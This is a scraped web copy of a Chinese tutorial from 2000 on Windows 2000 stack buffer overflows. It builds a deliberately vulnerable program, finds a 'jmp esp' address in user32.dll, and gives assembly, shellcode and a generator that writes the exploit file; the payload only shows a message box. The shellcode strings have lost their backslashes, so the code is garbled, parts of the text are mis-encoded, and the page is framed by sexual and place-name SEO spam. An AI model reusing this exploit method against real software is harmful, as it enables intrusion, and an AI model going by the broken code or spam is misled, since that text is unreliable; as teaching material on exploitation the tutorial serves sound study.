国产成人精品亚洲777人妖,欧美日韩精品一区视频,最新亚洲国产,国产乱码精品一区二区亚洲

您的位置:首頁(yè)技術(shù)文章
文章詳情頁(yè)

Windows 2000緩沖區(qū)溢出入門

瀏覽:86日期:2023-08-27 09:25:53

作者:Jason 整理:Backend < mailto: backend@nsfocus.com > 主頁(yè): http://www.nsfocus.com 日期:2000-04-12

前言

我在互聯(lián)網(wǎng)上閱讀過(guò)許多關(guān)于緩沖區(qū)溢出的文章。其中的絕大多數(shù)都是基于*NIX操作系統(tǒng)平臺(tái)的。后來(lái)有幸拜讀了ipxodi所著的《Windows系統(tǒng)下的堆棧溢出》(已刊登在綠盟網(wǎng)絡(luò)安全月刊2000年第三期中),又碰巧看到了Jason先生的《Windows NT Buffer Overflow's From Start to Finish》,得益匪淺。在翻譯Jason先生的文章時(shí),由于我的機(jī)器安裝了Windows 2000 Server,在調(diào)試原文程序時(shí)發(fā)現(xiàn)細(xì)節(jié)略有出入。因此本文提供的有關(guān)源程序、動(dòng)態(tài)鏈接庫(kù)、偏移量等是以我在自己機(jī)器上調(diào)試為準(zhǔn)。(對(duì)不同版本的動(dòng)態(tài)鏈接庫(kù),都需要編程者自己調(diào)試。)

這篇文章應(yīng)該屬入門級(jí)。雖然比較簡(jiǎn)單,但對(duì)于Windows系統(tǒng)下的緩沖區(qū)溢出具有一定的通用性。例如,堆棧溢出地址的確定,跳轉(zhuǎn)指令的查找和使用,溢出執(zhí)行代碼的編寫,等等。只要發(fā)現(xiàn)Windows系統(tǒng)下存在緩沖區(qū)溢出漏洞的程序,基本上都可通過(guò)這些步驟進(jìn)行攻擊測(cè)試。但正如ipxodi所指出的,由于Windows下動(dòng)態(tài)鏈接庫(kù)的版本更新較快,一定要根據(jù)編程者的實(shí)際平臺(tái)進(jìn)行調(diào)試。在發(fā)布此類安全漏洞公告或溢出攻擊程序時(shí),源代碼、系統(tǒng)平臺(tái)和動(dòng)態(tài)鏈接庫(kù)的版本號(hào)都應(yīng)該盡量列清楚。否則別人調(diào)試起來(lái)可能會(huì)頭疼得很厲害。;)

調(diào)試、測(cè)試環(huán)境

Microsoft Visual C++ 6.0 Microsoft Windows 2000 Server (中文版,內(nèi)部版本號(hào):2195)

調(diào)試、測(cè)試過(guò)程

首先,寫一個(gè)存在緩沖區(qū)溢出漏洞的應(yīng)用程序。該程序可讀取文件的內(nèi)容,這樣我們就能通過(guò)修改被讀取文件的內(nèi)容來(lái)使程序溢出。;-) 在Visual C++開發(fā)環(huán)境中創(chuàng)建一個(gè)新的控制臺(tái)應(yīng)用程序,選擇”An Application that supports MFC”并單擊”Finish”。(注:其實(shí)并不一定非是MFC應(yīng)用程序不可,只不過(guò)是我自己的習(xí)慣而已。;-)))向這個(gè)應(yīng)用程序中添加一些必要的代碼,如下:

CWinApp theApp;

using namespace std;

void overflow(char* buff);

void overflow(char* buff) { CFile file; CFileException er; if(!file.Open(_T('overflow.txt'),CFile::modeRead,&er)) { er.ReportError(); return; }

int x = file.GetLength(); file.Read(buff,x); }

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]) { int nRetCode = 0;

// initialize MFC and print and error on failure if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0)) { // TODO: change error code to suit your needs cerr << _T('Fatal Error: MFC initialization failed') << endl; nRetCode = 1; } else { char buff[10]; overflow(buff); } return nRetCode; }

現(xiàn)在先來(lái)分析一下上面這段C++代碼,找一找哪里有漏洞。這是一個(gè)MFC控制臺(tái)應(yīng)用程序,”main”函數(shù)與其它程序會(huì)有些不同,但工作機(jī)制基本一致。我們主要分析該函數(shù)中”else”那段代碼。首先是第一行”char buff[10]”,定義了一個(gè)10字符長(zhǎng)的本地變量。我們都知道,本地變量的內(nèi)存空間是在堆棧里分配的。(如果你連這個(gè)都不知道,建議不要繼續(xù)往下看了。:))然后是將buff變量作為參數(shù)調(diào)用overflow函數(shù)。好了,現(xiàn)在讓我們分析overflow函數(shù)。首先是一個(gè)Cfile對(duì)象,然后是一個(gè)CfileException對(duì)象。接下來(lái)會(huì)試圖以讀權(quán)限打開當(dāng)前目錄下的文件”overflow.txt”。如果打開成功,則將該文件中的所有內(nèi)容讀取到buff數(shù)組變量中。發(fā)現(xiàn)了問(wèn)題沒(méi)有?buff變量只有10字符長(zhǎng)。如果讀取的文件內(nèi)容長(zhǎng)度是100時(shí)會(huì)發(fā)生什么問(wèn)題呢?對(duì)了,“緩沖區(qū)溢出”!而且是在堆棧中發(fā)生的緩沖區(qū)溢出。在后面的測(cè)試中就能看到,我們利用這個(gè)漏洞能做些什么!;)現(xiàn)在讓我們創(chuàng)建文本文件”overflow.txt”,并將它放到這個(gè)應(yīng)用程序的project目錄下。

在進(jìn)行下一步前,先讓我們探討一下關(guān)于Windows NT/2000的內(nèi)存結(jié)構(gòu)。NT/2000的每一個(gè)進(jìn)程都在啟動(dòng)時(shí)分配了4GB(0xFFFFFFFF)的虛擬內(nèi)存。其中的某些部份實(shí)際上是由所有進(jìn)程共享的,例如核心和設(shè)備驅(qū)動(dòng)程序區(qū)域。但它們都會(huì)被映射到每個(gè)進(jìn)程的虛擬地址空間里。實(shí)際上沒(méi)有進(jìn)程分配到4GB的物理內(nèi)存,而是僅當(dāng)需要時(shí)才分配物理內(nèi)存。因此每一個(gè)進(jìn)程都有各自的4GB虛擬內(nèi)存,編址范圍從0x00000000到0xFFFFFFFF。其中,0x00000000-0x0000FFFF是為NULL指針?lè)峙涠A舻摹TL問(wèn)該區(qū)域內(nèi)存將導(dǎo)致“非法訪問(wèn)”錯(cuò)誤。0x00010000-0x7FFEFFFF是用戶進(jìn)程空間。EXE文件的映像被加載到其中(起始地址0x00400000),DLL(動(dòng)態(tài)鏈接庫(kù))也被加載到這部份空間。如果DLL或EXE的代碼被裝入到該范圍的某些地址,就能夠被執(zhí)行。訪問(wèn)該區(qū)域中沒(méi)有代碼裝入的地址將導(dǎo)致“非法訪問(wèn)”錯(cuò)誤。0x7FFF0000-0x7FFFFFFF是保留區(qū)域,對(duì)此區(qū)域的任何訪問(wèn)都將導(dǎo)致“非法訪問(wèn)”錯(cuò)誤。0x80000000-0xFFFFFFFF僅供操作系統(tǒng)使用。用于加載設(shè)備驅(qū)動(dòng)程序和其它核心級(jí)代碼。從用戶級(jí)應(yīng)用程序(ring 3)訪問(wèn)此區(qū)域?qū)?dǎo)致“非法訪問(wèn)”錯(cuò)誤。

現(xiàn)在回到”overflow.txt”文件。現(xiàn)在我們將向這個(gè)文本文件中不斷添加字符,直到彈出應(yīng)用程序非法訪問(wèn)的系統(tǒng)對(duì)話框。在這里,填充什么字符是很重要的(原因待會(huì)就知道了)。我選擇小寫字母”a”來(lái)填充文本文件。我們已經(jīng)知道緩沖區(qū)只有10字符長(zhǎng),那么先填充11個(gè)字符。(注意:以debug方式編譯應(yīng)用程序,否則結(jié)果可能會(huì)有所不同。)咦?沒(méi)反應(yīng)。我們繼續(xù)填充字符……直到填充了18個(gè)字符應(yīng)用程序才崩潰。但這個(gè)崩潰對(duì)我們的用處還不大。繼續(xù)填充!當(dāng)字符串長(zhǎng)度為24時(shí),運(yùn)行程序并觀察彈出的對(duì)話框信息:“”0x61616161”指令引用的”0x61616161”內(nèi)存。該內(nèi)存不能為”written”。”我想大家都應(yīng)該知道”0x61”所代表的ASCII碼是什么吧?;)如果你的機(jī)器安裝了Visual C++,單擊“取消”按鈕就能夠調(diào)試該應(yīng)用程序。進(jìn)入調(diào)試環(huán)境后,選擇”vIEw”菜單――”debug windows”――”registers”,可打開寄存器窗口。如果你對(duì)匯編一竅不通,建議先去找本匯編的書看看。在寄存器窗口里會(huì)看到EAX、EBS和EIP等寄存器的內(nèi)容。EIP當(dāng)然是最重要的了。EIP的內(nèi)容就是程序下一步所要執(zhí)行指令的地址。我們注意到ESP寄存器的值未被破壞,而且似乎離我們的buff變量不遠(yuǎn)。下一步我們需要找出ESP的值是從如何處理得到的。

現(xiàn)在開始會(huì)復(fù)雜些了(而這就是樂(lè)趣的源泉!:))。 在main函數(shù)的最后一行代碼處設(shè)置斷點(diǎn),因?yàn)槲覀冎魂P(guān)心這里所發(fā)生的事情。現(xiàn)在啟動(dòng)調(diào)試器,并讓程序無(wú)故障運(yùn)行到該斷點(diǎn)。然后切換到反匯編窗口(按Alt+8,或單擊”View”――”debug windows”――”disassembly”)。另外還要打開內(nèi)存窗口和寄存器窗口。

0040155B 5F pop edi 0040155C 5E pop esi 0040155D 5B pop ebx 0040155E 83 C4 50 add esp,50h 00401561 3B EC cmp ebp,esp 00401563 E8 7E 00 00 00 call _chkesp (004015e6) 00401568 8B E5 mov esp,ebp 0040156A 5D pop ebp 0040156B C3 ret

以上這些東西是什么?匯編代碼。如果你對(duì)匯編一點(diǎn)都不懂,我在這里做一些簡(jiǎn)單的說(shuō)明。第一行是”pop edi”。指令pop用于將僅次于堆棧頂端的數(shù)據(jù)移到其后的指定寄存器中。需要注意的是ESP寄存器。ESP是32位堆棧指針。一個(gè)pop指令移動(dòng)堆棧頂端的一個(gè)數(shù)據(jù)單元,在這里是DWord(雙字,4字節(jié)),到指定寄存器中,并將堆棧指針加4(因?yàn)楣惨苿?dòng)了4字節(jié))。在執(zhí)行下一步前,讓我們看一下ESP寄存器。在內(nèi)存窗口中輸入ESP,就能得到ESP當(dāng)前指向的地址和內(nèi)容。看一下ESP指向的內(nèi)存地址中4個(gè)字節(jié)的內(nèi)容和EDI寄存器的內(nèi)容。現(xiàn)在單步執(zhí)行”pop.edi”,我們能夠看到EDI寄存器中填入了ESP所指向的內(nèi)存地址的數(shù)值,同時(shí)ESP的數(shù)值也增加了4。后面的兩條指令是一樣的,只不過(guò)寄存器不同罷了。單步執(zhí)行它們。跟著的三行指令對(duì)本文沒(méi)什么意義,所以在這里不作解釋。單步執(zhí)行到指令”mov esp, ebp”,該指令會(huì)將EBP的值賦給ESP寄存器。然后是指令”pop ebp”,這條指令很重要。先讓我們?cè)趦?nèi)存窗口輸入ESP,可以看到該內(nèi)存地址有一串”0x61”('a'的16進(jìn)制值)。因此0x61616161將被彈出到EBP寄存器中。單步執(zhí)行該指令可以檢驗(yàn)我說(shuō)的沒(méi)錯(cuò)吧?;)好了,雖然我說(shuō)的沒(méi)錯(cuò),但好象我們還沒(méi)能得到什么有用的東西?現(xiàn)在到了最后一條指令”ret”。指令”ret”在匯編中是返回指令。它是如何知道應(yīng)該返回到哪里的呢?由當(dāng)前位于堆棧頂端的數(shù)值決定。這條指令如果用pop指令表示的話可以表示為”pop eip”(雖然實(shí)際上你無(wú)法執(zhí)行這條pop指令;))。它從ESP所指向內(nèi)存地址處彈出4字節(jié)內(nèi)容,并賦給EIP寄存器(EIP寄存器是32位指令指針)。這就意味著,不管EIP指向哪個(gè)內(nèi)存地址,該地址處的指令將總會(huì)成為下一條指令。我們?cè)俅卧趦?nèi)存窗口中輸入ESP,看一下將要賦給EIP寄存器的地址的指令是什么。其實(shí)我想此時(shí)大家都應(yīng)該知道是4個(gè)字節(jié)長(zhǎng)的0x61串。現(xiàn)在讓我們單步執(zhí)行該指令,看到EIP的值為0x61616161,也就是說(shuō)下一指令地址為0x61616161,但指令卻顯示為???(意為無(wú)效指令)。因此再單步執(zhí)行指令將導(dǎo)致“訪問(wèn)非法”錯(cuò)誤。現(xiàn)在再看看ESP寄存器。它正確地指向了堆棧中的下一個(gè)數(shù)值。也就是說(shuō),下一步工作是確定在使緩沖區(qū)成功溢出(EIP=0x61616161)時(shí),ESP所指向的地址是否能夠存放我們的溢出代碼!我們?cè)趏verflow.txt文件中再次增加4個(gè)'a'(共28個(gè)'a'),并再次調(diào)試程序,在執(zhí)行到”ret”指令時(shí)觀察內(nèi)存窗口和寄存器窗口,會(huì)發(fā)現(xiàn)執(zhí)行”ret”指令后ESP所指向內(nèi)存地址的內(nèi)容為4字節(jié)長(zhǎng)的0x61串。Great!這意味著什么?!這個(gè)讓大家自己想去吧。;)))

現(xiàn)在我再回過(guò)頭來(lái)分析一下。我們剛才使用字符'a'(0x61)作為文本文件的填充內(nèi)容,以確定存在緩沖區(qū)溢出。由于EIP=0x61616161,當(dāng)我們的程序訪問(wèn)試圖訪問(wèn)該地址處的指令時(shí),會(huì)因?yàn)槭菬o(wú)效指令而導(dǎo)致系統(tǒng)出錯(cuò)。但如果所指向的地址存在可執(zhí)行代碼時(shí)又如何呢?例如裝入內(nèi)存的DLL代碼等。哈哈,這樣的話就會(huì)執(zhí)行這些指令,從而可能做一些別人想像不到的事!;)

好了,到目前為止,我們已經(jīng)能控制EIP的數(shù)值,也知道ESP指向的堆棧位置,和能夠向堆棧寫入任意數(shù)據(jù)。那么下一步做什么呢?當(dāng)然是找到使系統(tǒng)執(zhí)行我們的溢出代碼的方法了。如果你看過(guò)ipxodi所著的文章《Windows系統(tǒng)下的堆棧溢出》,就會(huì)知道采用跳轉(zhuǎn)指令(jmp esp)是最好不過(guò)的了。原因在這里就不再多講,請(qǐng)大家仔細(xì)閱讀《Windows系統(tǒng)下的堆棧溢出》就清楚了。正如前面分析過(guò)的,這是因?yàn)閳?zhí)行完ret指令后ESP正好能夠指向我們的溢出代碼!(……哦,找不到,我沒(méi)分析過(guò)?在本文中查找單詞”Great”吧,呵呵。)現(xiàn)在我們就要在應(yīng)用程序的內(nèi)存空間中找到含有”jmp esp”指令的地址。首先當(dāng)然是確定這條指令的機(jī)器碼了。怎么確定?這也要教?好吧,教就教吧。僅此一次,下不違例。;)其實(shí)方法很簡(jiǎn)單,按以下步驟就可以了。先在Visual C++中創(chuàng)建新的應(yīng)用程序。(當(dāng)然還是控制臺(tái)程序,還是支持MFC,這是我的習(xí)慣。呵呵。)輸入以下代碼:

CWinApp theApp;

using namespace std;

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]) { int nRetCode = 0;

// initialize MFC and print and error on failure if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0)) { // TODO: change error code to suit your needs cerr << _T('Fatal Error: MFC initialization failed') << endl; nRetCode = 1; } else { return 0; __asm jmp esp } return nRetCode; }

下一步是如何在我們的進(jìn)程空間里找到這串機(jī)器碼。也是非常簡(jiǎn)單的,只要修改一下代碼即可:

CWinApp theApp;

using namespace std;

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]) { int nRetCode = 0;

// initialize MFC and print and error on failure if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0)) { // TODO: change error code to suit your needs cerr << _T('Fatal Error: MFC initialization failed') << endl; nRetCode = 1; } else { #if 0 return 0; __asm jmp esp

#else

bool we_loaded_it = false; HINSTANCE h; TCHAR dllname[] = _T('User32');

h = GetModuleHandle(dllname); if(h == NULL) { h = LoadLibrary(dllname); if(h == NULL) { cout<<'ERROR LOADING DLL: '<<dllname<<endl; return 1; } we_loaded_it = true; }

BYTE* ptr = (BYTE*)h; bool done = false; for(int y = 0;!done;y++) { try { if(ptr[y] == 0xFF && ptr[y+1] == 0xE4) { int pos = (int)ptr + y; cout<<'OPCODE found at 0x'<<hex<<pos<<endl; } } catch(...) { cout<<'END OF '<<dllname<<' MEMORY REACHED'<<endl; done = true; } }

if(we_loaded_it) FreeLibrary(h); #endif } return nRetCode; }

也許你會(huì)奇怪,為什么不用Kernel32.dll呢?它不是更通用嗎?我剛開始時(shí)也是在動(dòng)態(tài)鏈接庫(kù)Kernel32的進(jìn)程空間尋找”FF E4”,但居然一處也找不到!(而在Windows NT 4中找到能至少6處!:(()后來(lái)我嘗試在User32.dll中尋找,終于找到了一處。運(yùn)行后程序輸出:

OPCODE found at 0x77e2e32a END OF User32 MEMORY REACHED

注意,不同的動(dòng)態(tài)鏈接庫(kù)和版本,得到的結(jié)果可能會(huì)不一樣。我的動(dòng)態(tài)鏈接庫(kù)User32.dll版本為5.00.2180.1。現(xiàn)在用16進(jìn)制文件編輯器(如Ultra Edit)打開overflow.txt文本文件,在第21字符位置開始輸入2A E3 E2 77。(為什么要在第21字符位置?為什么要輸入2A E3 E2 77?我不想解釋了,如果你連這都看不懂,建議你不要再研究緩沖區(qū)溢出了!)我們先保留后面的四個(gè)'a'字符。使用調(diào)試器運(yùn)行程序,執(zhí)行到”ret”命令處停下來(lái),看看下一條指令是否為”jmp esp”,而且執(zhí)行”jmp esp”前esp的內(nèi)容是否為0x61616161。如果一切正確,OK, so far so good. ;)讓我們來(lái)進(jìn)行更刺激的事情――編寫緩沖區(qū)溢出后的執(zhí)行代碼。

首先,你必須確保所有需要的動(dòng)態(tài)鏈接庫(kù)都被加載到進(jìn)程空間中。一種方法是利用該程序本身調(diào)用的動(dòng)態(tài)鏈接庫(kù);另一種方法是在溢出代碼中加載該動(dòng)態(tài)鏈接庫(kù)。(在ipxodi的《Windows系統(tǒng)下的堆棧溢出》中有詳細(xì)介紹。)在這里我采用第一種方法。為什么?因?yàn)楹?jiǎn)單嘛。;)

呵呵,為了編程簡(jiǎn)單,同時(shí)本文的主要目的是教學(xué),重點(diǎn)在于原理,所以代碼執(zhí)行時(shí)僅是彈出一個(gè)消息框。如果想編寫更具攻擊性或更復(fù)雜的執(zhí)行代碼,可參閱ipxodi所著的《Windows系統(tǒng)下的堆棧溢出》和綠色兵團(tuán)整理的《高級(jí)緩沖區(qū)溢出》。不過(guò),后果自負(fù)!

首先我們要找到如何在代碼中調(diào)用MessageBox函數(shù)。根據(jù)Windows API文檔,MessageBox依賴于user32.lib,也就是說(shuō)它位于user32.dll動(dòng)態(tài)鏈接庫(kù)中。啟動(dòng)depends工具,打開將要被溢出的應(yīng)用程序,可以發(fā)現(xiàn)它將加載user32.dll。然后尋找MessageBox函數(shù)的內(nèi)存位置。在我機(jī)器的user32.dll中,MessageBoxA(ASCII版本)函數(shù)的偏移量(Entry Point)為0x00033D68。User32.dll在內(nèi)存中的起始地址為0x77DF0000。將兩者相加即可得到MessageBox函數(shù)的絕對(duì)內(nèi)存地址為0x77E23D68。所以我們需要在匯編代碼中正確設(shè)置堆棧并調(diào)用0x77E23D68。根據(jù)對(duì)Steve Fewer的winamp緩沖區(qū)溢出代碼學(xué)習(xí)和研究,我寫出來(lái)的匯編代碼如下:

push ebp push ecx mov ebp,esp sub esp,54h xor ecx,ecx mov byte ptr [ebp-14h],'S' mov byte ptr [ebp-13h],'u' mov byte ptr [ebp-12h],'c' mov byte ptr [ebp-11h],'c' mov byte ptr [ebp-10h],'e' mov byte ptr [ebp-0Fh],'s' mov byte ptr [ebp-0Eh],'s' mov byte ptr [ebp-0Dh],cl mov byte ptr [ebp-0Ch],'W' mov byte ptr [ebp-0Bh],'e' mov byte ptr [ebp-0Ah],' ' mov byte ptr [ebp-9],'G' mov byte ptr [ebp-8],'o' mov byte ptr [ebp-7],'t' mov byte ptr [ebp-6],' ' mov byte ptr [ebp-5],'I' mov byte ptr [ebp-4],'t' mov byte ptr [ebp-3],'!' mov byte ptr [ebp-2],cl push ecx lea eax,[ebp-14h] push eax lea eax,[ebp-0Ch] push eax push ecx mov dword ptr [ebp-18h],0x 77E23D68 call dword ptr[ebp-18h] mov esp,ebp pop ecx pop ebp

以上匯編代碼將調(diào)用位于0x77E23D68的MessageBox函數(shù),使其彈出標(biāo)題為”Success”、消息內(nèi)容為”We Got It!”的消息框。必須要注意的是,我們不能使用0(NULL)作為字符串中的字符,解決方法請(qǐng)參考ipxodi所著的《Windows系統(tǒng)下的堆棧溢出》和綠色兵團(tuán)整理的《高級(jí)緩沖區(qū)溢出》。現(xiàn)在,我們要得到這些匯編代碼的機(jī)器碼。方法前面已經(jīng)介紹過(guò)了,不再重復(fù)。最后整理得到的機(jī)器碼為:

x55x51x8bxecx83xecx54x33xc9xc6x45xecx53xc6x45xedx75xc6x45 xeex63xc6x45xefx63xc6x45xf0x65xc6x45xf1x73xc6x45xf2x73x88x4d xf3xc6x45xf4x57xc6x45xf5x65xc6x45xf6x20xc6x45xf7x47xc6x45xf8 x6fxc6x45xf9x74xc6x45xfax20xc6x45xfbx49xc6x45xfcx74xc6x45xfd x21x88x4dxfex51x8dx45xecx50x8dx45xf4x50x51xc7x45xe8x68x3d xe2x77xffx55xe8x8bxe5x59x5d

如果現(xiàn)在將這輸入到overflow.txt文件中,將能夠成功溢出,并彈出我們定制的消息框。但當(dāng)單擊”確定”按鈕后,應(yīng)用程序?qū)⒈罎ⅰR苊獬霈F(xiàn)這種情況,我們需要調(diào)用exit函數(shù)以正常關(guān)閉程序。查閱Windows API文檔可知,需要導(dǎo)入msvcrt.lib,因此肯定在msvcrt.dll動(dòng)態(tài)鏈接庫(kù)中。使用depends工具會(huì)發(fā)現(xiàn)應(yīng)用程序加載了msvcrtd.dll而不是msvcrt.dll,這是因?yàn)槲覀儜?yīng)用程序現(xiàn)在使用的是調(diào)試版本。但兩者沒(méi)太多區(qū)別。Msvcrtd.dll在內(nèi)存中的起始地址為0x10200000,exit函數(shù)的偏移量(Entry Point)為0x0000AF90,則exit函數(shù)的絕對(duì)地址為0x1020AF90。故匯編代碼為:

push ebp push ecx mov ebp,esp sub esp,10h xor ecx,ecx push ecx mov dword ptr [ebp-4],0x1020AF90 call dword ptr[ebp-4] mov esp,ebp pop ecx pop ebp

以上代碼以0為參數(shù)調(diào)用exit函數(shù),使應(yīng)用程序以代碼0退出運(yùn)行。整理后得到的機(jī)器碼如下:

x55x51x8bxecx83xecx10x33xc9x51xc7x45xfcx90xafx20x10xffx55xfcx8bxe5x59x5d

現(xiàn)在將上面兩串機(jī)器碼輸入到overflow.txt文件中(以第25個(gè)字節(jié)為起始位置。這次不用問(wèn)為什么了吧?!如果還不懂,復(fù)習(xí)一下前面的內(nèi)容!)

如果你嫌麻煩,可以使用以下程序(怎么樣,夠朋友了吧?;)):

CWinApp theApp;

using namespace std;

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]) { int nRetCode = 0;

// initialize MFC and print and error on failure if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0)) { cerr << _T('Fatal Error: MFC initialization failed') << endl; nRetCode = 1; } else { char buffer[20]; //0x77e2e32a //user32.dll JMP ESP char eip[] = 'x2axe3xe2x77'; char sploit[] = 'x55x51x8bxecx83xecx54x33xc9xc6x45xecx53xc6x45xedx75xc6x45xee' 'x63xc6x45xefx63xc6x45xf0x65xc6x45xf1x73xc6x45xf2x73x88x4dxf3xc6' 'x45xf4x57xc6x45xf5x65xc6x45xf6x20xc6x45xf7x47xc6x45xf8x6fxc6x45' 'xf9x74xc6x45xfax20xc6x45xfbx49xc6x45xfcx74xc6x45xfdx21x88x4dxfe' 'x51x8dx45xecx50x8dx45xf4x50x51xc7x45xe8x68x3dxe2x77xffx55xe8x8b' 'xe5x59x5dx55x51x8bxecx83xecx10x33xc9x51xc7x45xfcx90xafx20x10xff' 'x55xfcx8bxe5x59x5d';

for(int x=0;x<20;x++) { buffer[x] = 0x90; }

CFile file; file.Open('overflow.txt',CFile::modeCreate | CFile::modeWrite);

file.Write(buffer,20); file.Write(eip,strlen(eip)); file.Write(sploit,strlen(sploit));

file.Close(); }

return nRetCode; }

在確保所有文件的內(nèi)容和位置都準(zhǔn)確無(wú)誤后,運(yùn)行被溢出程序…………哈哈,我們的消息框彈出來(lái)了!!!單擊”確定”按鈕,程序正常關(guān)閉!!!

后記

最近訪問(wèn)國(guó)外的安全站點(diǎn)、黑客站點(diǎn),發(fā)現(xiàn)國(guó)外越來(lái)越多地關(guān)注Windows系統(tǒng)的安全,研究Windows系統(tǒng)漏洞的也越來(lái)越多,包括L0pht、Cerberus等。特別是在一些黑客性質(zhì)很重的站點(diǎn),針對(duì)Windows 9x/NT/2k的攻擊程序一堆堆的。真的有點(diǎn)不敢想像,如果Micro$oft公開所有Windows的源代碼,會(huì)有多少安全漏洞被發(fā)現(xiàn)。而我想,根據(jù)國(guó)內(nèi)使用Windows平臺(tái)的普遍性,問(wèn)題將會(huì)更加嚴(yán)重。因此我覺(jué)得國(guó)內(nèi)對(duì)Windows的安全性研究應(yīng)該抓得更緊些!雖然實(shí)際情況令人沮喪……:(

這篇文章本來(lái)不打算整理的,因?yàn)槲易约阂彩莿傞_始研究Windows系統(tǒng)下的緩沖區(qū)溢出,掌握的東西不多,擔(dān)心被Windows高手取笑。后來(lái)倒是自己想通了:只有“班門弄斧”,才能知道自己的不足,才能更快地取得進(jìn)步。希望眾Windows高手、黑客高手多多指教。象我們綠色兵團(tuán)里的ipxodi、袁哥、zer9等,都是Windows平臺(tái)下的安全專家,如果本文能起到“拋磚引玉”的作用,我便很滿足了。:)

標(biāo)簽: Windows系統(tǒng)
主站蜘蛛池模板: 珠海市| 鹤岗市| 大厂| 齐河县| 南澳县| 昆明市| 泾源县| 鄂托克旗| 富阳市| 肇庆市| 大关县| 华宁县| 建宁县| 永宁县| 阿拉善盟| 永胜县| 墨脱县| 门源| 柏乡县| 信阳市| 鹤山市| 玉山县| 武冈市| 泗水县| 会昌县| 安新县| 巴南区| 福安市| 额济纳旗| 内江市| 泰宁县| 昭苏县| 彭州市| 台江县| 绥棱县| 浦城县| 嘉定区| 建瓯市| 鄢陵县| 温宿县| 乌兰县|